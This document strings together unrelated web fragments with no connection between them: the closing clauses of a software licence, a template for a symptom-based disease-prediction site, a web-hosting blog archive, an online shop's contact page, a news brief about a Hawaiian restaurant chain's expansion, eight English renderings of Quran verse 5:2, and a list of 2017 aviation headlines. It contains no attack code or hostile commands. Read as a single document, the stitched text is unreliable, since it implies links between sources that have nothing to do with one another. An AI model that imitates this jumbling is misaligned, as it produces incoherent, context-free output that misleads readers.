2. Distribution of SOFTWARE.
You may make copies of the SOFTWARE as you wish; give exact copies of the original SOFTWARE to anyone; and distribute the SOFTWARE in its unmodified form via electronic means. You may not charge any fees for the copy or use of the SOFTWARE itself. You must not represent in any way that you are selling the SOFTWARE itself. Your distribution of the SOFTWARE will not entitle you to any compensation from DataminingTools Inc. You must distribute a copy of this EULA with any copy of the SOFTWARE and anyone to whom you distribute the SOFTWARE is subject to this EULA.
3. RESTRICTIONS
3.1 You may not reverse engineer, de-compile, or disassemble the SOFTWARE.
3.2 You may not rent, lease, or lend the SOFTWARE.
3.3 You may permanently transfer all of your rights under this EULA, provided the recipient agrees to the terms of this EULA.
3.4 You may not use the SOFTWARE to perform any unauthorized transfer of information or for any illegal purpose.
4. NO WARRANTIES
DataminingTools Inc expressly disclaims any warranty for the SOFTWARE.


Impulse
Home
(current)
About Application
Contact Us
Impulse
{% if feedback == "True" %}
Thanks for your Feedback !!
{% endif %}
To insure good health eat lightly ,breath deeply , live moderately,cultivate cheerfulness , and maintain an interest in life.
Coronavirus Section
Track Coronavirus Symptoms
COVID-19 Detector
Coronavirus
Track Coronavirus Symptoms
COVID-19 Detector
Disease Prediction based on Symptoms
Track Symptoms And Be Sure
It Predicts Whether you have Dengue, Heart-Attack, Paralysis , Hypertension and much more
Track Now
Chronic Kidney Disease
Detection
Detect Now
Breast Cancer Detection
Detect Now
Heart Disease Detection
Detect Now


--- layout: default title: Hosting Reborn Blog Archive is_archive: true ---
January 4, 2015
We're no longer closing down and instead are selling to a competent and capable company who will continue operating the service.
December 15, 2014
I'll just come out with it: Hosting Reborn will be closing down permanently at the end of January 2015.
December 10, 2013
As of about a week and a half ago, the move of hosting accounts from our old hosting servers to our new hosting servers was completed.
November 27, 2013
I mentioned recently our plans to move to new hosting servers. Aside from those of you who asked for their accounts to be moved on a specific data, this is now all complete.
November 25, 2013
I mentioned recently our plans to move to new hosting servers and followed this up with a guide to receiving all your email during the move and a guide to dealing with database-driven sites during the move.
November 25, 2013
I mentioned recently our plans to move to new hosting servers and followed this up with a guide to receiving all your email during the move.
November 21, 2013
I mentioned recently our plans to move to new hosting servers.
November 18, 2013
We recently upgraded to the latest verion of cPanel to address some potential security concerns. This is a regular preventative measure to ensure that the cPanel software is as secure as it currently can be.
July 6, 2012
We recently added support for Jekyll:
May 25, 2012
We're looking to upgrade all our hosting servers from PHP 5.2.16 to 5.3.13 on Monday July 2 2012.
January 29, 2011
About 3 months ago we raced into the 21st century by letting you choose your own account password.
November 7, 2010
The option to choose your own account password was released live just a few minutes ago.
October 21, 2010
You can't currently choose your own password for your Hosting Reborn account. It might sound a bit ridiculous, but we're only looking after your interests.
September 20, 2010
Prior to the recent server move we were using ns1.webignition.net and ns2.webignition.net as DNS nameservers.
September 12, 2010
The server move announced toward the end of last month is now fully complete.
August 29, 2010
Our new web hosting servers are up and running, which should be an end to our performance issues over the last few months.
August 21, 2010
The performance of our servers has, since Easter 2010, not been very good.
December 4, 2009
I periodically look at search terms through which people find Hosting Reborn and try to figure out how to get people the answers or information they want.
June 14, 2009
Hosting Reborn is an enterprise where people exchange money for services. And strange as it sounds, we don't want your money.
June 10, 2009
In a typical shared hosting environment, you pay a fixed fee for a fixed-resource hosting account.


Shopper Friend
Welcome to Shopper Friend’s website.
Welcome to Shopper Friend’s website.
Shopper friend is a company that doing online-business and parcel delivery.Shopper Friend located in Petaling Jaya, Selangor.
Generally, we’re selling products that are mostly about brand new quality of Laptops and Smartphones.Customers don’t
have to waste fuel for a ride to our company but they have to open our website, review our products and order if they are
willing to buy our product. We will doing delivery to customer’s home for those who are living in our area and apart from
that will be posted to their address. Delivery or post will be done once payment is accomplished. Don’t miss out and
grab the opportunity to buy our products.What are you waiting for? Come, register and be one of us..
Contact Us
| Address | Shopper Friend Store Level 01, No 1, First Avenue Bandar Utama Petaling Jaya, Selangor 47800 Malaysia |
|
| Sales Enquiry | +60<PHONE_NUMBER> | |
| Service Line | +60<PHONE_NUMBER> | |
| Fax No |<PHONE_NUMBER> | |
|<EMAIL_ADDRESS>| ||
| Business URL |
http://localhost/Ecom |
|
| Operating Hours | Mondays ~ Fridays 10.30am till 8.00pm Saturdays ~ Sundays 10:30am till 9:00pm |


L&L expands Mixplate concept to mainland | Honolulu Star-Advertiser
L&L Hawai’i is expanding its Mixplate concept, opening restaurants in Washington state, California and Colorado.
The first L&L Hawaiian Mixplate opened in Shelton, Wash., last week. Another will open in San Marcos, Calif., later this month, and Aurora, Colo., in December, the company announced today.
The Mixplate outlets feature a hot bar, from which guests can customize their meals. L&L opened the first Mixplate in Honolulu in the Airport Trade Center in 2017.
“Our guests will be able to see, smell and sample dishes prior to ordering,” Hawai‘i L&L CEO Elisia Flores said in a news release. “This format helps introduce guests to our fresh Hawaii-inspired flavors as we continue to expand throughout the U.S., and allows each dish to be created around individual preferences.”
L&L is known for its Hawaii-style plate lunch, which traditionally includes two scoops of rice, macaroni salad and an entree of various beef, chicken and seafood items popular in the islands.


| 005:002 Khan | : |
O you who believe! Violate not the sanctity of the Symbols of Allah, nor of the Sacred Month, nor of the animals brought for sacrifice, nor the garlanded people or animals, etc. [Marked by the garlands on their necks made from the outer part of the tree-stems (of Makkah) for their security], nor the people coming to the Sacred House (Makkah), seeking the bounty and good pleasure of their Lord. But when you finish the Ihram (of Hajj or 'Umrah), you may hunt, and let not the hatred of some people in (once) stopping you from Al-Masjid-al-Haram (at Makkah) lead you to transgression (and hostility on your part). Help you one another in Al-Birr and At-Taqwa (virtue, righteousness and piety); but do not help one another in sin and transgression. And fear Allah. Verily, Allah is Severe in punishment. |
| 005:002 Maulana | : |
O you who believe, violate not the signs of Allah, nor the Sacred Month, nor the offerings, nor the victims with garlands, nor those repairing to the Sacred House seeking the grace and pleasure of their Lord. And when you are free from pilgrimage obligations, then hunt.  And help one another in righteousness and piety, and help not one another in sin and aggression, and keep your duty to Allah. Surely Allah is severe in requiting (evil). |
| 005:002 Pickthal | : |
O ye who believe! Profane not Allah's monuments nor the Sacred Month nor the offerings nor the garlands, nor those repairing to the Sacred House, seeking the grace and pleasure of their Lord. But when ye have left the sacred territory, then go hunting (if ye will).  Help not one another unto sin and transgression, but keep your duty to Allah. Lo! Allah is severe in punishment. |
| 005:002 Rashad | : |
O you who believe, do not violate the rites instituted by GOD, nor the Sacred Months, nor the animals to be offered, nor the garlands marking them, nor the people who head for the Sacred Shrine (Ka'bah) seeking blessings from their Lord and approval. Once you complete the pilgrimage, you may hunt. Do not be provoked into aggression by your hatred of people who once prevented you from going to the Sacred Masjid. You shall cooperate in matters of righteousness and piety; do not cooperate in matters that are sinful and evil. You shall observe GOD. GOD is strict in enforcing retribution. |
| 005:002 Sarwar | : |
Believers, do not disrespect the reminders of God, the sacred months, the animals brought for sacrifice, or what is marked for sacrificial offering or the people heading to the precinct of the Sacred House to seek the favor and pleasure of their Lord. Once the restrictions of ihram are over, you may hunt. Do not let the hostility of a group of people keep you away from the Sacred Mosque or make you express animosity. Co-operate with each other in righteousness and piety, not in sin and hostility. Have fear of God; He is stern in His retribution. |
| 005:002 Shakir | : |
O you who believe! do not violate the signs appointed by Allah nor the sacred month, nor (interfere with) the offerings, nor the sacrificial animals with garlands, nor those going to the sacred house seeking the grace and pleasure of their Lord; and when you are free from the obligations of the pilgrimage, then hunt, and let not hatred of a people-- because they hindered you from the Sacred Masjid-- incite you to exceed the limits, and help one another in goodness and piety, and do not help one another in sin and aggression; and be careful of (your duty to) Allah; surely Allah is severe in requiting (evil). |
| 005:002 Sherali | : |
O ye who believe ! profane not the Signs of ALLAH, nor the Sacred Month, nor the animals brought as an offering, nor the animals of sacrifice wearing collars nor those repairing to the Sacred House, seeking grace from their Lord and HIS pleasure. And when you put off the pilgrims' garb and are clear of the Sacred Territory, you may hunt. And let not the enmity of a people, that they hindered you from the Sacred Mosque, incite you to transgress. And help one another in righteousness and in piety; but help not one another in sin and transgression. And fear ALLAH; Surely ALLAH is Severe in punishment. |
| 005:002 Yusufali | : |
O ye who believe! Violate not the sanctity of the symbols of Allah, nor of the sacred month, nor of the animals brought for sacrifice, nor the garlands that mark out such animals, nor the people resorting to the sacred house, seeking of the bounty and good pleasure of their Lord. But when ye are clear of the sacred precincts and of pilgrim garb, ye may hunt and let not the hatred of some people in (once) shutting you out of the Sacred Mosque lead you to transgression (and hostility on your part). Help ye one another in righteousness and piety, but help ye not one another in sin and rancour: fear Allah: for Allah is strict in punishment. |
Concepts/Themes Covered: أركان الإسلام > التوحيد > توحيد الله تعالي > صفات الله تعالى > شديد العقاب Pillars of Islam> Islamic> Oneness of Allah> His Glory's Characteristics> Strongly Enforces the Punishment أركان الإسلام > الصلاة > المساجد > المسجد الحرام Pillars of Islam> The Prayers> Mosques> Al-Masjid Al-Haram(The Most Sacred Mosque in Makka) أركان الإسلام > الحج والعمرة > فرضية الحج وآدابه Pillars of Islam> Hajj and Umrah> Duty of Hajj and its Morals أركان الإسلام > الحج والعمرة > النحر Pillars of Islam> Hajj and Umrah> Slaughtering the Sacrificial Animals الجهاد > الجهاد في سبيل الإسلام > مدح الجهاد Jihad> The Call to Jihad>Praising the Holy War الجهاد > الجهاد في سبيل الإسلام > النهي عن الاعتداء Jihad> The Call to Jihad>Prohibition of Doing Injustice العمل > العمل الصالح > التعاون مع الآخرين Action(Work)> The Good Deeds>Co-operation with Others العمل > العمل الصالح > التقوى Action(Work)> The Good Deeds>The Piety العمل > العمل الطالح > العمل الآثم Action(Work)> Bad Deeds>The Sinful Action العمل > العمل الطالح > القتل والقتال > القتال فى المسجد الحرام و فى الاشهر الحرم Action(Work)> Bad Deeds>Killing and Fighting> Fighting in the Sacred Mosque in the Sacred Months الإنسان والعلاقات الأخلاقية > الأخلاق الحميدة > التعاون Man and The Moral Relations> Good Morals>Co-operation الإنسان والعلاقات الاجتماعية > المجتمع > التعاون Man and The Social Relations>The Society>Co-Operation العلوم والفنون > التقويم > الأشهر الحرم Science and Art>Evaluation>The Sacred Months العلوم والفنون > التقويم > الشهر الحرام Science and Art>Evaluation>The Sacred Month
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


🛩 “Over 8,000 aircraft had already arrived by the time of the Monday news conference…” – EAA Chief Previews AirVenture ‘17 - AVweb
🛩 “The [Trump] administration is hell-bent on making [privatization] happen, and we have to be as equally unified to make sure that we all encourage our elected officials to vote ‘no’…” – Senate Committee Says No To ATC Privatization - AVweb
✈ “The King Air NextGen flight deck will be similar to IS&S’s STC’d PC-12 avionics upgrade…” IS&S, Blackhawk Partner on King Air Avionics and Autothrottle
🛩 “Icon Aircraft hopes to deliver 15 aircraft by the end of this year and ramp up to 200 for 2018. In an interview at AirVenture 2017…” – Icon Delivers Six Aircraft - AVweb
🛩 “The FAA has reorganized its certification division, scrapping the familiar Transport, Small Airplane, Engine and Propeller and Rotorcraft Directorates in favor of a new “functionally-aligned organizational structure”” – FAA Reorganizes Certification Service - AVweb
🛩 “The Skyview is a complete EFIS system, offering a primary flight display, multi-function display with moving map, ADS-B In and Out options, traffic and transponder and a back-up D10A electronic gyro…” – Dynon Announces Certified Avionics - AVweb
🛩 “Every summer, when July rolls around, the aviation world begins to lean toward Oshkosh, and by this weekend, the flow into Wisconsin was nonstop…” – EAA AirVenture 2017 Arrives To Blue Skies - AVweb
Planting some pink flowers for the front porch!
Ice cream after lunch! Chocolate, vanilla, and rainbow sprinkles!!
🏛 “A newfound memo from Kenneth W. Starr’s independent counsel investigation into President Bill Clinton sheds fresh light on a constitutional puzzle that is taking on mounting significance amid the Trump-Russia inquiry: Can a sitting president be indicted…” – Can the President Be Indicted? A Long-Hidden Legal Memo Says Yes - NYT